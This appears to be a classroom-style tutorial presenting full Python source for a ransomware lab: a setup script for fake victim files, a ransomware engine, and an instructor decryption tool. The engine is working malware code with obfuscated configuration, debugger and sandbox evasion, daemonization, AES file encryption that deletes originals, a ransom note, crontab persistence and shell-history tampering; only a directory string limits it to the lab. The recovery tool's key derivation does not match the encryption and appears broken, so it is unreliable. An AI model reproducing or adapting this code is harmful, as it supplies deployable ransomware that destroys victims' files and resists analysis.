Script 1: Setting Up the Battlefield

Before demonstrating how ransomware works, a realistic victim environment is needed. The setup script creates a directory structure mimicking a typical user’s computer, populating it with six main directories: Documents, Projects, Photos, Downloads, Config, and Backup.

The sample files are intentionally designed to look valuable: resumes, API keys, credentials, database backups, and configuration files. These are exactly the types of files real ransomware targets because they are irreplaceable and critical to the victim. The script also generates additional random files to make the environment more realistic.

#!/usr/bin/env python3

“””

Classroom Lab Setup – Creates the ransomware environment

“””

import os

import sys

import random

import string

TARGET_DIR = “/tmp/.ransomware_lab”

def create_lab():

“””Create realistic-looking lab environment”””

dirs = [‘Documents’, ‘Projects’, ‘Photos’, ‘Downloads’, ‘Config’, ‘Backup’]

for d in dirs:

os.makedirs(os.path.join(TARGET_DIR, d), exist_ok=True)

samples = [

(‘Documents/resume_2024.docx’, “John Doe\nSoftware Engineer\nPython, C, Java\n”),

(‘Documents/notes.txt’, “Meeting notes:\n- Discussed project timeline\n- Budget approved\n”),

(‘Documents/budget.xlsx’, “Monthly Budget\nRent: 1500\nFood: 600\n”),

(‘Documents/project_proposal.pdf’, “PROJECT PROPOSAL\nTitle: AI-Driven Analytics\n”),

(‘Projects/main.py’, “#!/usr/bin/env python3\nprint(‘Hello World’)\n”),

(‘Projects/config.json’, ‘{“debug”: false, “port”: 8080}\n’),

(‘Projects/api_keys.bak’, “API_KEY=sk-abc123def456\nSECRET=xyz789\n”),

(‘Photos/vacation.jpg’, “FAKE_JPEG_HEADER\nSimulated image file.\n”),

(‘Photos/profile.png’, “FAKE_PNG_HEADER\nSimulated image content.\n”),

(‘Downloads/software.zip’, “ZIP_FILE_SIMULATION\n”),

(‘Downloads/report.pdf’, “DOWNLOADED_REPORT\n”),

(‘Config/ssh_config’, “Host server\n HostName 192.168.1.1\n User admin\n”),

(‘Config/credentials.txt’, “Email: [email protected]\nPassword: Temp!2024\n”),

(‘Backup/db_dump.sql’, “CREATE TABLE users (id INT, name TEXT);\nINSERT INTO users VALUES (1, ‘admin’);\n”),

(‘Backup/old_notes.txt’, “Old notes from last year.\n” * 10),

]

for filepath, content in samples:

full_path = os.path.join(TARGET_DIR, filepath)

os.makedirs(os.path.dirname(full_path), exist_ok=True)

with open(full_path, ‘w’) as f:

f.write(content)

# Add 20 extra random files

for i in range(20):

ext = random.choice([‘.txt’, ‘.log’, ‘.csv’, ‘.json’, ‘.xml’])

filename = f”file_{random.randint(1000,9999)}{ext}”

content = ”.join(random.choices(string.ascii_letters + string.digits + ‘\n’, k=random.randint(50, 200)))

path = os.path.join(TARGET_DIR, random.choice(dirs), filename)

with open(path, ‘w’) as f:

f.write(content)

total = sum(len(files) for _, _, files in os.walk(TARGET_DIR))

print(f”[+] Lab created at: {TARGET_DIR}”)

print(f”[+] Files created: {total}”)

print(f”[+] Structure:”)

for d in dirs:

count = len(os.listdir(os.path.join(TARGET_DIR, d)))

print(f” \u251C\u2500\u2500 {d}/ ({count} files)”)

def clean_lab():

“””Remove the lab environment”””

import shutil

if os.path.exists(TARGET_DIR):

shutil.rmtree(TARGET_DIR)

print(f”[+] Removed: {TARGET_DIR}”)

print(“[+] Cleanup complete.”)

if __name__ == “__main__”:

if ‘–clean’ in sys.argv:

clean_lab()

else:

create_lab()

Script 2: The Ransomware Engine

The ransomware script demonstrates multiple advanced techniques. The key components are examined in detail below.

Configuration Obfuscation

All configuration strings are XOR-encoded so an analyst opening the file in a text editor will not immediately see suspicious strings:

def _obfuscate(data, key=0xAC):

return bytes([b ^ key for b in data.encode()])

 

def _deobfuscate(data, key=0xAC):

return bytes([b ^ key for b in data]).decode()

 

_TARGET_DIR_ENC   = _obfuscate(“/tmp/.ransomware_lab”)

_RANSOM_EXT_ENC   = _obfuscate(“.locked”)

_NOTE_ENC     = _obfuscate(“HOW_TO_DECRYPT.txt”)

_MASTER_SEED_ENC  = _obfuscate(“CyberAcademy2026!”)

 

def _resolve_config():

global TARGET_DIR, RANSOM_EXT, RANSOM_NOTE, MASTER_SEED

TARGET_DIR   = _deobfuscate(_TARGET_DIR_ENC)

RANSOM_EXT   = _deobfuscate(_RANSOM_EXT_ENC)

RANSOM_NOTE  = _deobfuscate(_NOTE_ENC)

MASTER_SEED  = _deobfuscate(_MASTER_SEED_ENC)

 

_resolve_config()

Target Extensions

The engine targets documents, images, videos, source code, configuration files, databases, archives, and cryptographic keys:

TARGET_EXTENSIONS = {

‘.txt’, ‘.doc’, ‘.docx’, ‘.xls’, ‘.xlsx’, ‘.ppt’, ‘.pptx’,

‘.pdf’, ‘.rtf’, ‘.odt’, ‘.ods’, ‘.odp’,

‘.jpg’, ‘.jpeg’, ‘.png’, ‘.gif’, ‘.bmp’, ‘.tiff’,

‘.mp3’, ‘.mp4’, ‘.avi’, ‘.mkv’, ‘.mov’,

‘.py’, ‘.js’, ‘.html’, ‘.css’, ‘.php’, ‘.java’, ‘.c’, ‘.cpp’,

‘.json’, ‘.xml’, ‘.yaml’, ‘.yml’, ‘.ini’, ‘.cfg’,

‘.sql’, ‘.db’, ‘.sqlite’,

‘.zip’, ‘.rar’, ‘.tar’, ‘.gz’, ‘.7z’,

‘.key’, ‘.pem’, ‘.log’, ‘.bak’, ‘.csv’,

}

Anti-Analysis and Daemonization

The _anti_analysis() function checks for debuggers and sandboxes. The _daemonize() function uses the classic double-fork technique to create a silent background process:

def _anti_analysis():

try:

     with open(“/proc/self/status”, “r”) as f:

         for line in f:

             if “TracerPid” in line:

                 if line.split(“:”)[1].strip() != “0”:

                        return False  # Debugger detected

except:

     pass

try:

     cores = os.cpu_count()

     if cores and cores < 2:

         return False  # Likely a sandbox

except:

     pass

return True

 

def _daemonize():

try:

     pid = os.fork()

     if pid > 0:

            sys.exit(0)      # Kill parent

     os.setsid()

     pid = os.fork()

     if pid > 0:

            sys.exit(0)      # Kill second parent

     for fd in range(3, 256):

         try: os.close(fd)

         except: pass

os.open(‘/dev/null’, os.O_RDWR)

os.dup2(0, 1)

os.dup2(0, 2)

except:

pass

Three-Layer Key Derivation

This is where the cryptography becomes sophisticated. The generate_per_machine_key() method creates three separate SHA-256 hashes from the machine fingerprint, a random session salt, and the attacker’s master seed. These three 32-byte hashes are XORed together byte-by-byte to create a unique 256-bit encryption key. Reconstructing the key requires all three components: machine identity, session salt, and master seed.

class KeyManager:

 

@staticmethod

def _get_machine_fingerprint():

     fingerprint = []

     try:

         with open(‘/etc/machine-id’, ‘r’) as f:

                fingerprint.append(f.read().strip())

     except:

         pass

     try:

         with open(‘/proc/sys/kernel/random/boot_id’, ‘r’) as f:

                fingerprint.append(f.read().strip())

     except:

         pass

     try:

         hostname = subprocess.getoutput(‘hostname’)

            fingerprint.append(hostname)

     except:

         pass

     if not fingerprint:

            fingerprint.append(str(os.stat(‘/’).st_ino))

     return ‘:’.join(fingerprint)

 

@staticmethod

def generate_per_machine_key(master_seed=MASTER_SEED):

     fingerprint = KeyManager._get_machine_fingerprint()

     session_salt = os.urandom(32)

     machine_hash = hashlib.sha256(fingerprint.encode()).digest()

     session_hash = hashlib.sha256(session_salt).digest()

     master_hash  = hashlib.sha256(master_seed.encode()).digest()

     combined = bytearray(32)

     for i in range(32):

         combined[i] = machine_hash[i] ^ session_hash[i] ^ master_hash[i]

     return {

         ‘key’: bytes(combined),

         ‘salt’: session_salt.hex(),

            ‘machine_hash_full’: machine_hash.hex(),

            ‘machine_hash’: machine_hash.hex()[:8],

     }

 

@staticmethod

def derive_instructor_key():

     return hashlib.sha256(MASTER_SEED.encode()).digest()[:16]

 

@staticmethod

def encrypt_combined_key(combined_key, master_key):

        “””Encrypt the combined key with the master key for header storage”””

     result = bytearray(len(combined_key))

     for i in range(len(combined_key)):

         result[i] = combined_key[i] ^ master_key[i % len(master_key)]

     return base64.b64encode(bytes(result)).decode()

Per-File Encryption

For each file, the ransomware generates a random 16-byte salt and uses PBKDF2 with 1,000 iterations to derive a file-specific key from the machine key. Every single file has its own unique encryption key even though all keys stem from the same machine-specific master. The file is encrypted using AES-256-CTR if PyCryptodome is available, with an XOR fallback.

class Encryptor:

 

def encrypt_file(self, filepath):

     try:

         with open(filepath, ‘rb’) as f:

             data = f.read()

     except (IOError, PermissionError):

         return False

 

     file_salt = os.urandom(16)

     file_key = hashlib.pbkdf2_hmac(

         ‘sha256’, self.key, file_salt, iterations=1000, dklen=32

     )

 

     if self.use_aes:

         ctr = self._Counter.new(128, initial_value=int.from_bytes(self.iv, ‘big’))

         cipher = self._AES.new(file_key, self._AES.MODE_CTR, counter=ctr)

         encrypted_data = cipher.encrypt(data)

     else:

            random.seed(int.from_bytes(file_key[:8], ‘big’))

         keystream = bytes([random.randint(0, 255) for _ in range(len(data))])

         encrypted_data = bytes(a ^ b for a, b in zip(data, keystream))

 

     metadata = {

         ‘version’: 3,

         ‘algorithm’: ‘aes-256-ctr’ if self.use_aes else ‘xor-256’,

         ‘iv’: base64.b64encode(self.iv).decode(),

         ‘file_salt’: base64.b64encode(file_salt).decode(),

     }

     meta_json = json.dumps(metadata).encode()

     encrypted_path = filepath + RANSOM_EXT

     try:

         with open(encrypted_path, ‘wb’) as f:

                f.write(base64.b64encode(meta_json) + b’\n’ + encrypted_data)

            os.remove(filepath)

         return True

     except:

         return False

Metadata Storage

Each encrypted file receives a JSON metadata header containing the algorithm used, initialization vectors, file-specific salts, and timestamps. The metadata is base64-encoded and prepended to the encrypted content. The original file is then deleted.

Ransom Note

The drop_notes() function creates a ransom message displaying the number of encrypted files, a unique victim ID generated from the machine ID plus random bytes, contact information, and warnings against recovery attempts. The note is placed in the root directory and randomly distributed throughout subdirectories.

Persistence Mechanism

The install_persistence() function adds the ransomware to the user’s crontab to run at every system reboot and every 60 minutes. This ensures that even if the initial infection does not catch everything, the ransomware will run again.

File Scanner, Ransom Note, and Persistence

scan_files() walks the target directory, drop_notes() generates the ransom message, and install_persistence() adds the ransomware to crontab for reboot and hourly execution:

def scan_files():

if not os.path.exists(TARGET_DIR):

     return []

targets = []

for dirpath, dirnames, filenames in os.walk(TARGET_DIR):

     dirnames[:] = [d for d in dirnames if not d.startswith(‘.’)]

     for filename in filenames:

         if filename.endswith(RANSOM_EXT) or filename == RANSOM_NOTE:

             continue

         ext = os.path.splitext(filename)[1].lower()

         if ext in TARGET_EXTENSIONS:

                targets.append(os.path.join(dirpath, filename))

return targets

 

def drop_notes(encrypted_count, machine_id):

victim_id = hashlib.sha256(

        machine_id.encode() + os.urandom(8)

    ).hexdigest()[:16].upper()

 

note_content = f”””

{‘=’*60}

YOUR PERSONAL FILES HAVE BEEN ENCRYPTED

{‘=’*60}

 

{encrypted_count} files were affected.

YOUR UNIQUE VICTIM ID: {victim_id}

 

HOW TO RECOVER:

Contact: decrypt{random.randint(1000,9999)}@onionmail.org

Include your Victim ID in the subject line.

 

Time: {datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)}

{‘=’*60}

“””

note_path = os.path.join(TARGET_DIR, RANSOM_NOTE)

with open(note_path, ‘w’) as f:

        f.write(note_content)

for dirpath, _, _ in os.walk(TARGET_DIR):

     if dirpath != TARGET_DIR and random.random() < 0.3:

         try:

             with open(os.path.join(dirpath, RANSOM_NOTE), ‘w’) as f:

                    f.write(note_content)

         except:

             pass

 

def install_persistence():

script_path = os.path.abspath(__file__)

cron_line = f”@reboot python3 {script_path} >/dev/null 2>&1\n”

cron_line += f”*/60 * * * * python3 {script_path} >/dev/null 2>&1\n”

try:

     current = subprocess.getoutput(“crontab -l 2>/dev/null”)

     if script_path not in current:

         proc = subprocess.Popen([“crontab”], stdin=subprocess.PIPE,

                                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

            proc.communicate(input=(current + “\n” + cron_line).encode())

except:

     pass

 

def _self_cleanup():

try:

     for hf in [os.path.expanduser(“~/.bash_history”),

                   os.path.expanduser(“~/.zsh_history”)]:

         if os.path.exists(hf):

             with open(hf, ‘a’) as f:

                    f.write(“\n”)

except:

     pass

 

def encrypt_worker(args):

filepath, key_data = args

encryptor = Encryptor(key_data)

return encryptor.encrypt_file(filepath)

 

if __name__ == “__main__”:

if not _anti_analysis():

     sys.exit(0)

_daemonize()

key_data = KeyManager.generate_per_machine_key()

target_files = scan_files()

if not target_files:

sys.exit(0)

with Pool(processes=cpu_count()) as pool:

results = pool.map(encrypt_worker, [(f, key_data) for f in target_files])

encrypted_count = sum(1 for r in results if r)

drop_notes(encrypted_count, key_data[‘machine_hash’])

install_persistence()

_self_cleanup()

key_data = None

sys.exit(0)

The main execution block uses multiprocessing to encrypt files in parallel across all available CPU cores. On an 8-core system with AES hardware acceleration, a document-heavy directory can be encrypted in under a minute.

Script 3: The Instructor Recovery Tool

The decryption tool is relatively straightforward because it has the master key. It derives the instructor key from the master seed using SHA-256 (Secure Hash Algorithm 256-bit), decrypts each file’s metadata header, extracts the file-specific salt, re-derives the per-file encryption key using PBKDF2 (Password-Based Key Derivation Function 2) with the same parameters, decrypts the content using AES-256-CTR or XOR as appropriate, restores the original file name, and removes all ransom notes.

#!/usr/bin/env python3

“””

INSTRUCTOR RECOVERY TOOL – Classroom Use Only

Uses the master key seed to decrypt all files

encrypted by the classroom ransomware.

“””

MASTER_SEED = “CyberAcademy2026!”

RANSOM_EXT = “.locked”

TARGET_DIR = “/tmp/.ransomware_lab”

def derive_instructor_key():

return hashlib.sha256(MASTER_SEED.encode()).digest()[:16]

def decrypt_file(encrypted_path, master_key):

with open(encrypted_path, ‘rb’) as f:

content = f.read()

parts = content.split(b’\n’, 1)

header_encrypted = base64.b64decode(parts[0])

encrypted_data = parts[1]

metadata = json.loads(header_encrypted.decode())

file_salt = base64.b64decode(metadata[‘file_salt’])

# Derive per-file key using stored session key and file salt

file_key = hashlib.pbkdf2_hmac(

‘sha256’, master_key, file_salt, iterations=1000, dklen=32

)

if ‘aes’ in metadata.get(‘algorithm’, ”):

from Crypto.Cipher import AES

from Crypto.Util import Counter

iv = base64.b64decode(metadata[‘iv’])

ctr = Counter.new(128, initial_value=int.from_bytes(iv, ‘big’))

decrypted = AES.new(file_key, AES.MODE_CTR, counter=ctr).decrypt(encrypted_data)

else:

random.seed(int.from_bytes(file_key[:8], ‘big’))

keystream = bytes([random.randint(0, 255) for _ in range(len(encrypted_data))])

decrypted = bytes(a ^ b for a, b in zip(encrypted_data, keystream))

original_path = encrypted_path.replace(RANSOM_EXT, ”)

with open(original_path, ‘wb’) as f:

f.write(decrypted)

os.remove(encrypted_path)

return original_path

The main() function orchestrates the full recovery:

def main():

print(“=” * 60)

print(“INSTRUCTOR RECOVERY TOOL”)

print(“Master key seed: ” + MASTER_SEED)

print(“=” * 60)

 

if not os.path.exists(TARGET_DIR):

     print(f”[!] Target directory not found: {TARGET_DIR}”)

     sys.exit(1)

 

encrypted_files = list(Path(TARGET_DIR).rglob(f’*{RANSOM_EXT}’))

if not encrypted_files:

     print(“[!] No encrypted files found.”)

     sys.exit(0)

 

print(f”[*] Found {len(encrypted_files)} encrypted files”)

master_key = derive_instructor_key()

print(f”[*] Master key derived: {master_key.hex()[:16]}…”)

 

recovered = 0

for enc_path in encrypted_files:

     print(f”  [-] Decrypting: {enc_path.name}…”, end=’ ‘)

     result = decrypt_file(str(enc_path), master_key)

     if result:

         recovered += 1

            print(“OK”)

     else:

            print(“FAILED”)

 

notes = list(Path(TARGET_DIR).rglob(RANSOM_NOTE))

for note in notes:

     try:

            os.remove(str(note))

     except:

         pass

 

print(f”\n[*] Successfully decrypted {recovered}/{len(encrypted_files)} files”)

print(“[*] All ransom notes removed.”)

 

if __name__ == “__main__”:

main()